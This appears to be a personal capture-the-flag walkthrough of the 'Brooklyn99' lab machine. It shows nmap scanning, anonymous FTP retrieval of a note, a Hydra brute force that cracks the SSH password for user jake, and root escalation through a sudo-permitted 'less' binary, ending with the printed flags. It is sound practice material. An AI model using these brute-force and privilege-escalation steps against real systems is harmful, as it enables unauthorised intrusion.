Brooklyn99

nmap reveals - 21/tcp ftp - 22/tcp ssh - 80/tcp http

┌──(kali㉿kali)-[~/cyberseclabs/shares]
└─$ sudo nmap -O -sV -vv -A 10.10.226.25

enumeration of ftp port 21 - discovered ftp is anonymous only - exploited ftp through anonymous/no password - get 'note_to_jake.txt'

┌──(kali㉿kali)-[~]
└─$ ftp 10.10.226.25
Connected to 10.10.226.25.
220 (vsFTPd 3.0.3)
Name (10.10.226.25:kali): admin
530 This FTP server is anonymous only.
ftp: Login failed
ftp> 
ftp> exit
221 Goodbye.

┌──(kali㉿kali)-[~]
└─$ ftp 10.10.226.25
Connected to 10.10.226.25.
220 (vsFTPd 3.0.3)
Name (10.10.226.25:kali): anonymous 
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
229 Entering Extended Passive Mode (|||18509|)
150 Here comes the directory listing.
-rw-r--r--    1 0        0             119 May 17  2020 note_to_jake.txt
226 Directory send OK.
ftp> get note_to_jake.txt
local: note_to_jake.txt remote: note_to_jake.txt
229 Entering Extended Passive Mode (|||28731|)
150 Opening BINARY mode data connection for note_to_jake.txt (119 bytes).
100% |****************************************************|   119        1.82 KiB/s    00:00 ETA
226 Transfer complete.
119 bytes received in 00:00 (0.69 KiB/s)

cat note_to_jake reveals that jake is a user and has a password - may also be able to assume that holt and amy have accounts also

┌──(kali㉿kali)-[~]
└─$ cat note_to_jake.txt 
From Amy,

Jake please change your password. It is too weak and holt will be mad if someone hacks into the nine nine

running hydra on jake with the info that he has a weak password

┌──(kali㉿kali)-[~/cyberseclabs/shares]
└─$ hydra -l jake -P /opt/rockyou.txt 10.10.226.25 ssh
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-01-29 10:45:17
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344398 login tries (l:1/p:14344398), ~896525 tries per task
[DATA] attacking ssh://10.10.226.25:22/
[22][ssh] host: 10.10.226.25   login: jake   password: 987654321
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 2 final worker threads did not complete until end.
[ERROR] 2 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-01-29 10:45:55

Log in with jake using password 987654321 from hydra scan

┌──(kali㉿kali)-[~/cyberseclabs/shares]
└─$ ssh jake@10.10.226.25               
jake@10.10.226.25's password: 
Permission denied, please try again.
jake@10.10.226.25's password: 
Last login: Tue May 26 08:56:58 2020

nothing found in jake folders running sudo -l for incorrectly setuid permissions via GTFO bins

jake@brookly_nine_nine:~$ sudo -l
Matching Defaults entries for jake on brookly_nine_nine:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User jake may run the following commands on brookly_nine_nine:
    (ALL) NOPASSWD: /usr/bin/less
jake@brookly_nine_nine:~$ sudo less /etc/profile
# whoami
root

searching holt directory we find user.txt

root@brookly_nine_nine:/home# cd holt
root@brookly_nine_nine:/home/holt# ls
nano.save  user.txt
root@brookly_nine_nine:/home/holt# cat user.txt 
ee11cbb19052e40b07aac0ca060c23ee

searching root directrory we find

root@brookly_nine_nine:/root# cat root.txt 
-- Creator : Fsociety2006 --
Congratulations in rooting Brooklyn Nine Nine
Here is the flag: 63a9f0ea7bb98050796b649e85481845

Enjoy!!